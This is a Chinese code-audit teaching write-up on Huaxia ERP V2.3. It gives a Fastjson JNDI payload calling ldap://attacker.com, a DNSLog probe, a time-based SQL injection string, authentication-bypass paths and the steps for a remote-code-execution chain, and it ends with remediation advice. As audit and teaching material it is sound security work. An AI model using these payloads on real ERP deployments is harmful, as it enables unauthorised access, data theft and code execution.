华夏ERP V2.3代码审计分析
字数 2112 2025-11-21 12:12:20
华夏ERP V2.3代码审计分析教学文档
系统概述
华夏ERP V2.3是基于Java开发的企业资源管理系统,采用Spring Boot框架构建,存在多处安全漏洞。
环境配置
- JDK版本: 1.8
- 数据库配置: 通过application.properties文件配置数据库连接
- 测试账户: 用户名jsh,密码123456
依赖组件安全分析
1. Fastjson反序列化漏洞
版本: 1.2.55
漏洞类型: 反序列化、黑名单绕过、JNDI注入导致RCE
风险详情:
- autoType功能默认开启,允许在JSON中指定类名进行反序列化
- 黑名单认证机制存在缺陷,可多种方式绕过
- 可导致JNDI注入实现远程代码执行
攻击Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
2. Log4j漏洞
版本: 2.10.0
组件: log4j-to-slf4j
风险: 存在已知安全漏洞,需升级版本
3. MyBatis数据库框架
版本: 3.0.7.1
风险: 存在SQL注入风险点
4. Swagger-UI
版本: 2.7.0
用途: API文档生成,可能存在信息泄露风险
项目结构分析
java/
└── com/
└── jsh/
└── erp/
├── config/ # 配置类
├── constants/ # 常量定义
├── controller/ # 控制器层
├── datasource/ # 数据源配置
├── exception/ # 异常处理
├── filter/ # 过滤器
├── service/ # 服务层
└── utils/ # 工具类
SQL注入漏洞分析
漏洞原理
MyBatis中使用${}进行字符串拼接,直接将参数内容不加修饰符拼接在SQL中,导致注入风险。
常见风险场景
- 模糊查询:
%${param}%形式 - IN语句:
in (${param})形式 - ORDER BY:
order by ${param}语句
具体漏洞位置
- DAO层: selectByConditionDepot方法
- 参数来源: search参数中的name键值对
- 调用链: 通过通用功能层代码,多个API调用同一段代码
验证方法
时间盲注Payload:
search={"name":"test' AND SLEEP(5) AND '1'='1"}
影响接口:
/depot/list- 仓库管理列表/user/list- 用户管理列表(loginName和userName参数)
注入特征:
- 执行时间延迟明显
- sleep函数执行次数与分页参数相关
- 可在IDEA日志中查看实际执行的SQL语句
XSS漏洞分析
存储型XSS漏洞位置
-
采购订单模块
- 新增商品处的多个输入框
- 每次访问采购订单页面都会触发
-
销售管理模块
- 添加客户信息处的客户名称字段
-
仓库管理模块
- 添加供应商名称字段
-
财务管理模块
- 收支单处的项目添加字段
攻击验证
在所有文本输入框中插入XSS Payload均可成功触发弹窗。
鉴权绕过漏洞分析
过滤器配置
文件: LogCostFilter过滤器
拦截路径: /*(所有路径)
初始化参数:
ignoredUrl: 忽略.css、.js、.jpg、.png、.gif、.ico文件类型filterPath: 特殊处理路径/user/login、/user/registerUser、/v2/api-docs
绕过方法一:目录遍历
原理: 使用startsWith()函数判断URL开头,可通过目录穿越绕过
Payload: /user/login/../../需要访问的路径
绕过方法二:路径参数绕过
原理: 正则表达式^.*\.css.*$过于宽泛,只要URL包含忽略列表内容即可匹配
Payload:
/.gif/../account/getAcount/path;.gif/../需要访问的路径
其他放行条件
URL包含/doc.html、/register.html、/login.html中任意一个即可放行。
Fastjson反序列化漏洞利用
检测方法
全局搜索以下关键词:
parseObject(JSON.parseObject(JSONObject.parse(JSONObject.parseObject(JSON.parse()JSON.parseObject()
漏洞验证
DNSLog检测Payload:
search={"@type":"java.net.Inet4Address","val":"dnslog-domain.com"}
确认特征: 明确设置defaultRedisConfig.setAutoTypeSupport(true)
攻击利用
所需组件:
- LDAP服务器(LDAPServer.java)
- 恶意class文件(Executor.java编译)
- HTTP服务托管class文件
执行流程:
- 启动HTTP服务提供class文件下载
- 运行LDAP服务器进行引用指向
- 发送恶意JSON请求触发反序列化
安全机制绕过
- AutoType为false时: 先黑名单过滤,再白名单过滤
- AutoType为true时: 先白名单过滤,再黑名单过滤
修复建议
立即措施
- 升级Fastjson至安全版本
- 替换MyBatis拼接方式,使用
#{}预编译 - 加强输入过滤,对所有用户输入进行严格验证
- 修复鉴权逻辑,使用路径标准化后验证
长期加固
- 实施严格的权限验证机制
- 添加安全中间件进行请求过滤
- 建立代码安全审查流程
- 定期进行安全漏洞扫描
总结
华夏ERP V2.3存在严重的安全隐患,涉及SQL注入、XSS、鉴权绕过和反序列化漏洞,需立即进行安全修复和代码重构。